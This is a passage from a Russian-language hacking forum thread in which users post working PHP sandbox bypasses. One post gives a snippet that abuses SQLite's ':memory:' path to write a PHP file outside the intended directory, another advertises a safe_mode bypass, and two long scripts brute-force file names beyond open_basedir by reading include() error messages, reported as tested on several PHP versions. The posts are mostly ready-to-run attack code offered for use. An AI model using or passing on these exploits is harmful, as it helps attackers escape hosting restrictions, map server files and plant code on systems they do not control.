Старый 29.08.2012, 21:05   #21
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

5.2 уязвимы?
12309 вне форума   Ответить с цитированием
Старый 30.08.2012, 07:50   #22
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

По идее да, так как такие же проверки использовались по всех расширениях:
sqlite, sqlite3, pdo_sqlite

Последний раз редактировалось BlackFan; 30.08.2012 в 08:15..
BlackFan вне форума   Ответить с цитированием
Старый 30.08.2012, 09:56   #23
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
5.2 уязвимы?
PHP 5 < 5.4
PHP код:
    mkdir(':memory:');
    $database = new SQLiteDatabase(":memory:/../../test.php");
    $database->query("CREATE TABLE foo (bar STRING)");
    $database->query("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
    rmdir(':memory:');
спасибо BlackFan =*
l1ght вне форума   Ответить с цитированием
Старый 29.11.2012, 15:51   #24
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 15
Репутация: 4
По умолчанию

Не против, я пропиарю еще один способ? >тыц<
(обход сейфмода при PHP+CGI, любая версия php, и при fastcgi тоже кстати)

Последний раз редактировалось InSys; 29.11.2012 в 19:23..
InSys вне форума   Ответить с цитированием
Старый 08.10.2014, 08:24   #25
zuzzz
 
Регистрация: 24.02.2011
Сообщений: 75
Репутация: 7
По умолчанию

Еще вариант чтения списка файлов за пределами open_basedir. Так же основан на разнице текста ошибок при существующим и отсутствующим файлом в include. Используется переназначение include_path.

Код:
файл сущестует:
Warning: include(): open_basedir restriction in effect. File(D:\site\file.txt) is not within the allowed path(s): (d:/site/www/) .....

файл отсутствует:
Warning: include(file1.txt): failed to open stream: No such file or directory in .....
Код:
<?php
 ini_set('display_errors', 1);
 ini_set('display_startup_errors',1);
 ini_set('error_reporting', E_ALL);
 ini_set('log_errors', 0);
 ini_set('html_errors',0);
 ini_set('max_execution_time',0);

 $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
 $alphabet_len = strlen($alphabet);
 $maxlength = 3;
 $str = '';

 $dir = '../';
 if (isset($_GET['dir'])) {
     $dir = $_GET['dir'];
 }

 $ext = '';
 if (isset($_GET['ext'])) {
     $ext = $_GET['ext'];
     if (isset($ext[0]) && $ext[0] != '.') {
         $ext = '.'.$ext;
     }
 }

 function inc($s,$i) {
     global $alphabet_len;
     if(!isset($s[$i])) {
         $s[$i] = 0;
         return $s;
     }
     if($s[$i] + 1 == $alphabet_len) {
         $s[$i] = 0;
         $s = inc($s,$i+1);
     } else {
         $s[$i]++;
     }
     return $s;
 } 

 function check2($s) {
     global $str,$alphabet,$ext;
     $str = 'a';
     for($i = 0; $i < count($s); $i++) {
         $str[$i] = $alphabet[$s[$i]];
     }
     include $str.$ext;
 }
     
 function eh($errno, $errstr, $errfile, $errline) { 
     global $str, $ext; 
     if (substr_count($errstr, 'open_basedir restriction') > 0) {
       echo $str.$ext.'<br/>';
     }
 }

 set_error_handler("eh"); 

 echo 'open_basedir = '.ini_get('open_basedir').'<br>';
 echo 'include_path = '.ini_get('include_path').'<br>';
 echo 'set include_path = '.$dir.'<br>';
 ini_set('include_path', $dir);
 echo 'include_path = '.ini_get('include_path').'<br>';

 $s = array(); 
 while(count($s = inc($s,0)) <= $maxlength) {
     check2($s);
 }

echo '<br>end';

?>
проверил на
php 5.3.3
php 5.4.4
php 5.6.1 (windows)

Последний раз редактировалось zuzzz; 08.10.2014 в 08:52..
zuzzz вне форума   Ответить с цитированием
Старый 08.10.2014, 08:41   #26
zuzzz
 
Регистрация: 24.02.2011
Сообщений: 75
Репутация: 7
По умолчанию

И еще вариант. Так же разница в тексте ошибки. Если файл существует, то путь до файла вида "/../file.txt" нормализуется до вида "site\file.txt"

Код:
файл сущестует:
Warning: include(): open_basedir restriction in effect. File(D:\site\file.txt) is not within the allowed path(s): (d:/site/www/) .....

файл отсутствует:
Warning: include(): open_basedir restriction in effect. File(../file1.txt) is not within the allowed path(s): (d:/site/www/) .....
Код:
<?php
 ini_set('display_errors', 1);
 ini_set('display_startup_errors',1);
 ini_set('error_reporting', E_ALL);
 ini_set('log_errors', 0);
 ini_set('html_errors',0);
 ini_set('max_execution_time',0);

 $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
 $alphabet_len = strlen($alphabet);
 $maxlength = 1;
 $str = '';

 $dir = '../';
 if (isset($_GET['dir'])) {
     $dir = $_GET['dir'];
 }

 $ext = '';
 if (isset($_GET['ext'])) {
     $ext = $_GET['ext'];
     if (isset($ext[0]) && $ext[0] != '.') {
       $ext = '.'.$ext;
     }
 }

 function inc($s,$i) {
     global $alphabet_len;
     if(!isset($s[$i])) {
       $s[$i] = 0;
       return $s;
     }
     if($s[$i] + 1 == $alphabet_len) {
       $s[$i] = 0;
       $s = inc($s,$i+1);
     } else {
       $s[$i]++;
     }
     return $s;
  } 

  function check3($s) {
      global $str,$alphabet,$dir,$ext;
      $str = 'a';
      for($i = 0; $i < count($s); $i++) {
          $str[$i] = $alphabet[$s[$i]];
      }
      include $dir.'/./'.$str.$ext;
  }
     
  function eh($errno, $errstr, $errfile, $errline) { 
      global $str, $ext; 
      if (substr_count($errstr, '/./') == 0) {
        echo $str.$ext.'<br/>';
      }
  }

 set_error_handler("eh"); 
 echo 'open_basedir = '.ini_get('open_basedir').'<br>';

  $s = array(); 
  while(count($s = inc($s,0)) <= $maxlength) {
      check3($s);
  }

echo '<br>end';

?>
проверил на
php 5.3.3
php 5.4.4
php 5.6.1 (windows)

Последний раз редактировалось zuzzz; 08.10.2014 в 08:46..
zuzzz вне форума   Ответить с цитированием
Ответ

Метки
продолжение следует...

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot